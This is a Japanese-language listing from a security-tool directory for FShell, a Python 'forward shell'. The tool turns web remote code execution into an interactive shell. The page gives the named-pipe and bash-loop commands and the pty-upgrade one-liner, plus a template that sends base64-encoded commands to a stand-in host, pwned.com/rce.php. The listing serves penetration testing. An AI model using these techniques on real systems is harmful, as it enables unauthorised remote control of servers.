Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
FShell — 私のpython3によるForward Shellの実装 | Kitploit
ツール/GitHubGitHub/hypnoze57/fshell
エクスプロイトポストエクスプロイトペネトレーションテストレッドチーミングリモートアクセスツール
GitHubhypnoze57/fshell

FShell

私のpython3によるForward Shellの実装

リポジトリを見る
38547年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

FShell

説明

FShellはForward Shellの私の実装です。ステートレスプロトコル(例:HTTP)を介したリモートコード実行を使って、インタラクティブなttyを取得するように設計されています。

なぜフォワードシェルを使うべきなのか?

  • リモートサーバーがインターネットに到達できないため、リバースシェルの可能性がない
  • サーバーに新しい外向き接続を開始させたり、新しいサービスを公開させたくない(脆弱な公開サービスのみを使用する)

ただし、欠点もあります。

  • 毎秒多くのリクエストが発生する(Webサーバーの場合、多くのアクセスログが生成される)
  • 完全なインタラクティブではない: オートコンプリートがない(理論的には実装可能だが、膨大な量のリクエストが発生する)。入力はpythonスクリプトに送信され、その後リモートサーバーに送信されることを忘れないでください。

リクエスト頻度は BEACONING_DELAY 変数を変更することで変更できます。

要件

攻撃者マシン上で

Python3 & ライブラリ:

  • requests
  • termcolor

ターゲット側

現時点ではLinuxのみがサポートされており、リモートシステム上で以下の基本的なコマンド/ツールが必要です:

  • python2(ptyモジュール)
  • bash
  • mkfifo
  • cat
  • tail
  • ps
  • grep
  • awk
  • kill

使用方法

WRITABLE_FOLDER 変数を変更してください。/tmp に書き込みできない場合や、より良い場所がある場合(/dev/shm を推奨)は変更します。

リモートコード実行を行うために、必ず execute 関数を再定義する必要があります:

root@kitploit:~
def execute(cmd, verbose=False, timeout=None):
    """
    :cmd      Raw shell command to execute on the remote system
    :timetout MANDATORY: Used to kill blocking execution loop (used in named pipe creation).
              If you cannot, put named pipe creation in separated thread
    :verbose  Print full cmd executed on the remote system (Debug mode)
    """
    # Put your RCE code here
    r = requests.get('http://pwned.com/rce.php?cmd=%s' % (b64encode(cmd)), timeout=timeout)
    return r.text.strip() # You can apply formating if the output is not only the output of command

コマンド

  • help_shell: コマンドのヘルプを表示
  • get_sessid: リモートサーバー上の現在のセッションIDを表示
  • upgrade_shell: pythonを使ってリモートptyを起動し、インタラクティブシェルを作成
  • exit_shell: リモートシェルを「適切に」クリアします。最初のユーザー以外のユーザーで接続している場合は、先に通常どおり終了してください。

デモ

FShell Demo

仕組み

コンセプトはとてもシンプルです。

まず、リモートシステム上に名前付きパイプを作成する必要があります。 これはシェルにコマンドを送信するために使用されます
mkfifo /tmp/input。

次に、名前付きパイプを常に読み取り、その内容をインタラクティブなbashプロセスに送信し、stdinとstderrを出力ファイルに送信するbashループを作成します。
tail -f /tmp/input | /bin/bash -i > /tmp/output 2>&1

[名前付きパイプの読み取り] -> [名前付きパイプの内容を実行] -> [stdin/stderrを出力ファイルに送信] -> ['-f' tailオプションにより名前付きパイプの読み取りに戻る]

次の部分は、シェル出力を取得するために cat /tmp/output を定期的に実行するpythonスレッドを起動することです。
スレッドがデータを見つけた場合、echo '' > /tmp/output を使用して出力ファイルの内容をクリアします。
ヒント: 存在しないファイルに対するエラーログを避けるために、スクリプトは'GetOutput'スレッドを開始する前に'id'コマンドを実行して出力ファイルを作成します。

最後のステップの1つは、pythonスクリプトからユーザー入力を取得し、それを名前付きパイプに送信することです。
echo USERCMD > /tmp/input

そして、リモートのインタラクティブな tty を戻すための 最後のトリック は、'upgrade_shell'コマンドです。 このコマンドは python -c 'import pty;pty.spawn("/bin/bash")' (といくつかのexportとエイリアス)を実行して、現在のプロセス(名前付きパイプループで使用)に実際のttyを生成します。

謝辞

@ippsec に感謝します。この動画 Stratosphere HTB Write Up を見るまで、このようなことが可能だとは知りませんでした!

楽しんでいただければ幸いです!

ツールをダウンロード